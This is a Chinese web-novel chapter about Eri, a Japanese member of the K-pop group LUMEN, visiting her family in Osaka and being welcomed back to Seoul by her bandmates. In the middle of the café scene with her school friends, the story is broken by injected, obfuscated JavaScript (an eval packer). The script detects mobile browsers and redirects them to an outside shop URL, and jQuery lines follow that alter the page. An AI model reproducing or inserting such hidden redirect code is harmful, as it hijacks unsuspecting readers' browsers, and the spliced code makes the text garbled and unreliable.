KCON结束的第二天,绘里香没有跟LUMEN一起回首尔。
“公司批了三天假。”经纪人把机票递给她,“周一回来,别迟到。”
绘里香接过机票,手指有点抖。她来韩国两年了,一次都没回去过。不是不想回,是——不敢回。太远了,机票太贵了,练习太忙了。她给自己找了无数个理由,但真正的原因只有一个:她怕回去之后就不想再来了。
“Eri。”夏瑜走过来,手里拎着一个袋子,“给你。”
绘里香打开一看,是一盒韩国的零食和几包泡面。
“欧尼?”
“带回去给你家人尝尝。”夏瑜说,“虽然不是什么贵重的东西。”
绘里香看着那袋零食,忽然不知道该说什么。
“谢谢欧尼。”她的声音有点哑。
“别哭啊。”夏瑜笑了,“我们还没上飞机呢。”
“没哭。”绘里香吸了吸鼻子。
李恩彩从后面冲过来,一把抱住绘里香:“Eri!你要想我们!三天后必须回来!不许逃回日本不回来!”
“我又不是逃犯……”绘里香被她勒得喘不过气。
“恩彩,你要把她勒死了。”金素妍在旁边冷冷地说。
“我是抱!不是勒!”
“那你松一点。”
李恩彩松开手,绘里香深吸了一口气。
“Eri,”姜多惠走过来,手里拿着一个保温杯,“这个给你。在路上喝,暖一下身子。”
绘里香接过来,杯子上贴着一张便条,写着“一路顺风”和一个笑脸。
“谢谢多惠欧尼。”
韩智媛从包里掏出一个东西,塞到绘里香手里。是一个小小的玩偶钥匙扣,上面挂着一只小猫咪。
“这个……给你。”韩智媛小声说,“是我的护身符。带着它就不会怕了。”
绘里香看着她,眼眶热了。韩智媛自己就是最胆小的那个,却把护身符给了她。
“智媛欧尼……”
“别哭别哭!”韩智媛慌了,“你一哭我也要哭了……”
金敏珠站在旁边,面无表情地递过来一张纸条。绘里香打开一看,上面写着:“周一准时回来,迟到扣工资。”
“敏珠欧尼……”绘里香哭笑不得。
“开玩笑的。”金敏珠说,嘴角动了一下,“路上小心。”
绘里香点了点头,拎着行李,转身往安检口走。走了几步,她回头看了一眼。五个人还站在那里,冲她挥手。
她挥了挥手,然后转过身,走进安检口。
不要哭。她在心里对自己说。你是大人了。
飞机降落在大阪关西机场的时候,绘里香的心跳开始加速。
两年了。两年的时间,说长不长,说短不短。她从一个连韩语都不会说的练习生,变成了LUMEN的主舞。从那个躲在宿舍里偷偷哭的日本女孩,变成了能在几千人甚至几万人面前跳舞的爱豆。
但回到家门口的时候,她还是那个不敢按门铃的小孩。
她站在门口,手指悬在门铃上,迟迟按不下去。
门忽然开了。
“我听到脚步声了。”妈妈站在门口,围着围裙,手里拿着锅铲,“你怎么不按门铃?”
绘里香看着妈妈,忽然发现她老了一点。头发里多了几根白丝,眼角多了几条细纹。
“妈。”她说,声音在抖。
“进来吧。”妈妈笑了笑,“你爸去接你妹妹了,马上回来。”
绘里香换了鞋,走进客厅。一切都没变——沙发还是那个沙发,电视还是那个电视,茶几上还摆着她小时候的照片。但一切又都变了——她的房间被改成了妹妹的书房,她的东西被收进了箱子里。
她站在客厅里,忽然觉得自己像一个客人。
“饿了吧?”妈妈在厨房里喊,“做了你爱吃的味增汤。”
“嗯。”绘里香走进厨房,站在妈妈旁边。
妈妈看了她一眼:“瘦了。韩国的饭不好吃吗?”
“好吃的。”绘里香说,“就是练习太累了,有时候吃不下。”
“吃不下也要吃。”妈妈把味增汤端到她面前,“你是跳舞的,不吃东西哪有力气。”
绘里香端起碗,喝了一口。味增汤的味道涌进嘴里,咸咸的,热热的,带着一种很熟悉的感觉。那是家的味道。
她低着头,眼泪掉进碗里。
“怎么了?”妈妈慌了,“不好喝吗?”
“好喝的。”绘里香擦了擦眼睛,“就是……好久没喝到了。”
妈妈看着她,沉默了一会儿,然后伸手摸了摸她的头。
“傻孩子。”妈妈说,“想喝随时回来。又不是回不来。”
绘里香点了点头,继续喝汤。咸的,热的,眼泪的味道。
门铃响了。爸爸和妹妹回来了。
妹妹比两年前高了一大截,已经快跟绘里香一样高了。
“姐姐!”妹妹冲过来抱住她,“你终于回来了!”
绘里香被撞得往后退了一步,差点摔倒。
“你长高了好多。”绘里香说。
“那当然!我又不是小孩子了!”妹妹仰着头,“姐姐你在电视上跳舞好帅!我同学都问我,那个是不是你姐姐!”
“你怎么说的?”
“我说是的!我姐姐是LUMEN的主舞!”妹妹的声音很大,“然后她们都说好羡慕我!”
绘里香笑了。她想象妹妹在学校里跟同学炫耀的样子,忽然觉得——能被家人骄傲,是一件很好的事。
爸爸站在旁边,没说话。他只是看着绘里香,点了点头。
“回来了。”爸爸说。
“嗯。”绘里香说,“回来了。”
这就是她爸爸。话不多,但一个眼神就够了。
晚饭是妈妈做的寿司和天妇罗,还有绘里香最爱的味增汤。四个人坐在餐桌前,像两年前一样。但不一样的是,绘里香不再是那个每天背着书包上学的高中生了。她是LUMEN的Eri,是站在舞台上跳舞的爱豆。
“姐姐,你在舞台上翻跟头是真的吗?”妹妹问。
“真的。”
“不疼吗?”
“练的时候疼。习惯了就不疼了。”
“好厉害……”妹妹眼睛亮亮的,“我也想学跳舞。”
妈妈在旁边说:“你先把你功课搞好再说。”
“可是姐姐也跳舞啊!姐姐功课也很好!”
“那是你姐姐努力。”妈妈看了绘里香一眼,“你以为她不辛苦吗?”
绘里香笑了笑,没说话。辛苦。当然辛苦。每天练十几个小时,膝盖摔得青一块紫一块,脚踝扭了还要打封闭针上台。但这些话,她不想说给家人听。她们会担心的。
“不辛苦。”她说,“跳舞很开心。”
这是实话。再辛苦,跳舞的时候也是开心的。
第二天,绘里香在家里待了一整天。
她帮妈妈做了家务,陪妹妹写了作业,跟爸爸看了一下午的电视。电视上在放综艺节目,刚好是LUMEN上次上的那个。
“姐姐!你上电视了!”妹妹指着屏幕喊。
绘里香看着屏幕上的自己,有点不好意思。她在节目里说的话不多,大部分时间都在旁边安静地坐着。
“你怎么不说话?”妹妹问。
“因为不知道该说什么。”绘里香说,“韩语有时候说不准。”
“那你平时怎么跟队友说话?”
“慢慢说。她们会等我说完。”
“队友对你好吗?”
绘里香想了想。姜多惠会给她带饮料,金素妍会帮她拿行李,李恩彩会在她说话卡住的时候帮她接下去,韩智媛会小声提醒她单词,金敏珠会默默等她说完,夏瑜会在她紧张的时候递给她一瓶水。
“很好。”她说,“她们对我很好。”
妹妹点了点头,没再问。
晚上,绘里香一个人躺在以前住的房间里。房间被改成了妹妹的书房,她睡的是临时铺的床垫。天花板上还有她小时候贴的星星贴纸,已经褪色了,但还在那里。
她拿出手机,打开KakaoTalk。群聊里有一堆未读消息。
李恩彩:“Eri到家了吗?报个平安!”
金素妍:“她两小时前就说到了。”
李恩彩:“那怎么不说话!”
金素妍:“可能在跟家人吃饭。”
李恩彩:“Eri!吃完饭记得报平安!”
金素妍:“你能不能别刷屏。”
李恩彩:“我关心队友!这叫团魂!”
金素妍:“这叫吵。”
绘里香看着屏幕,忍不住笑了。
她打了一行字:“到了。谢谢欧尼们。”
李恩彩秒回:“Eri!!!你终于说话了!!!想死你了!!!”
金素妍:“你能不能冷静点。”
李恩彩:“不能!Eri不在我好无聊!都没人让我欺负了!”
金素妍:“你平时欺负的是我。”
李恩彩:“那你又不让我欺负!”
金素妍:“……”
姜多惠:“Eri,好好休息。周一见。”
韩智媛:“Eri,护身符带了吗?”
绘里香摸了摸口袋里的猫咪钥匙扣,打字:“带了。谢谢智媛欧尼。”
韩智媛:“那就好。”
金敏珠:“周一准时回来。”
绘里香:“好的敏珠欧尼。”
夏瑜的消息弹出来:“日本好玩吗?”
绘里香:“就是回家。没什么好玩的。”
夏瑜:“家里舒服吗?”
绘里香想了想,打字:“舒服的。”
夏瑜:“那就够了。”
绘里香看着那四个字,忽然笑了。夏瑜说话总是很短,但每次都能说到点子上。家里舒服的——这就够了。
她翻了个身,把毯子裹紧了一点。床垫有点硬,枕头有点低,被子有点薄。但这是家的味道。
她闭上眼睛。明天还有一天,后天就要回首尔了。她想再吃一次妈妈做的味增汤,想再陪妹妹写一次作业,想再跟爸爸看一次电视。然后她就回去,回到那个吵吵闹闹的宿舍,回到那个永远亮着灯的练习室,回到那群很吵但也很暖的人身边。
第三天,绘里香去见了高中时候的朋友。
她们约在车站前的咖啡厅,三个人坐在窗边的位置。
“绘里香你瘦了好多!”朋友A说。
“韩国的饭不好吃吗?”朋友B问。
“好吃的。”绘里香说,“就是练习太累了。”
“你在舞台上好帅!”朋友A眼睛亮亮的,“我们全班都看了你的直拍!”
“真的吗?”绘里香有点不好意思。
“真的!尤其是那个侧手翻,太帅了!”
绘里香笑了。以前在学校的时候,她是那种最不起眼的女生——成绩还好,运动一般,说话声音小得听不见。没有人会注意到她。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459045|201259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但现在,她在舞台上跳舞,有人在看,有人在喊她的名字。
这种感觉很奇怪,但很好。
“绘里香,你以后会一直当爱豆吗?”朋友B问。
绘里香想了想。“会。”她说,“我喜欢跳舞。”
“那你什么时候再回来?”
绘里香愣了一下。什么时候再回来?她不知道。可能明年,可能后年,可能很久以后。
“不知道。”她老实地说。
朋友A笑了:“没关系。我们会在电视上看你的。”
“对!”朋友B说,“你好好跳舞,我们会给你应援的!”
绘里香看着她们,眼眶热了一下。
“谢谢。”她说。
第四天早上,绘里香要走了。
妈妈帮她收拾好行李,又往里面塞了一大堆零食。“带回去给队友吃。”妈妈说,“她们对你那么好,你要谢谢人家。”
“太多了……”绘里香看着塞得鼓鼓囊囊的行李箱。
“不多。”妈妈又塞了一盒点心进去,“这个给你队长。这个给那个吵吵闹闹的。这个给那个冷冷的。这个给那个温柔的。这个给那个胆小的。这个给那个跳舞很好的。”
“妈妈你怎么知道她们谁是谁?”
“我看你们团综了。”妈妈理直气壮地说,“那个学猪叫的,一看就是她。”
绘里香忍不住笑了。她想象金素妍知道自己被叫成“那个冷冷的”的表情,应该会很无语。
爸爸站在门口,没说话。他只是看着绘里香,点了点头。
“好好照顾自己。”爸爸说。
“嗯。”
妹妹冲过来抱住她:“姐姐,你下次什么时候回来?”
“不知道。”绘里香说,“但我会回来的。”
“那你快点回来。我等你。”
绘里香摸了摸妹妹的头。“好。”
走出门的时候,她回头看了一眼。妈妈站在门口,围裙还没解,手里拿着锅铲。爸爸站在妈妈身后,手搭在她肩上。妹妹在旁边挥手。
她挥了挥手,转过身,拖着行李箱走向车站。这一次,她没有哭。
她是LUMEN的Eri。她要去跳舞了。
飞机降落在首尔的时候,已经是下午了。
绘里香拖着行李箱走出到达大厅,一眼就看到了那群人。
李恩彩举着一个牌子,上面写着“欢迎Eri回家”。金素妍站在旁边,面无表情,但手里拿着一杯热可可。姜多惠拎着一个杯子,里面装着热水——不是给她喝的,是给夏瑜的。韩智媛躲在姜多惠身后,探出头来。金敏珠站在最前面,看了看手表。
“迟到了三分钟。”金敏珠说。
“飞机延误了……”绘里香小声说。
“原谅你。”金敏珠嘴角动了一下。
夏瑜站在最边上,手里什么都没拿,只是看着她。
“回来了。”夏瑜说。
“嗯。”绘里香说,“回来了。”
李恩彩冲过来,一把抱住她:“Eri!!!我好想你!!!”
“我也是……”绘里香被她勒得喘不过气。
“你带好吃的了吗?”李恩彩松开手,眼睛亮亮的。
“带了……”绘里香打开行李箱,把妈妈塞的零食一样一样拿出来。
“这是给敏珠欧尼的,这是给恩彩欧尼的,这是给素妍欧尼的,这是给多惠欧尼的,这是给智媛欧尼的,这是给Seki欧尼的。”
“你妈妈怎么知道我们谁是谁?”金素妍问。
“她看了我们的团综。她说——那个学猪叫的,一看就是她。”
全场安静了一秒。
然后李恩彩尖叫起来:“你妈妈看了我学猪叫?!”
“看了……”
“啊啊啊啊啊好丢人!!!”李恩彩捂着脸蹲下去。
金素妍难得笑了:“你妈有眼光。”
“你闭嘴!”
姜多惠笑着摇头。韩智媛躲在后面偷偷笑。金敏珠接过自己的那份点心,看了一眼,收进口袋里。
夏瑜接过自己的那份,是一盒抹茶巧克力。她看了看,抬头对绘里香说:“谢谢。”
“不客气。”绘里香说。
“你妈很厉害。”夏瑜说,“知道你喜欢抹茶。”
绘里香愣了一下。她从来没跟妈妈说过自己喜欢抹茶,但妈妈就是知道。
“妈妈都是这样的。”绘里香说。
夏瑜点了点头,没再说话。但绘里香看到她把那盒巧克力小心地放进了包里。
七个人走出机场,夕阳照在身上,影子拉得很长。
李恩彩走在最前面,叽叽喳喳地说着这几天的练习有多累、金素妍有多欺负她、韩智媛有多想她。金素妍走在旁边,偶尔怼她一句。姜多惠走在中间,手里拎着绘里香的行李箱。韩智媛跟在后面,小声跟绘里香说话。金敏珠走在最后面,看着手机,大概在看行程表。
夏瑜走在最边上,离人群有点远,但也没有太远。刚好是一个转身就能走过来的距离。
绘里香走在她们中间,听着李恩彩的声音,看着金素妍的表情,感受着姜多惠手里的行李箱的重量。她忽然觉得——韩国也是家。不是出生的地方,是跳舞的地方,是有人等她回来的地方。
“Eri!”李恩彩回头喊她,“快点!我们今晚吃烤肉!给你接风!”
“好!”绘里香加快脚步,跟上去。
七个人走在一起,影子叠着影子,像一道长长的、暖暖的光。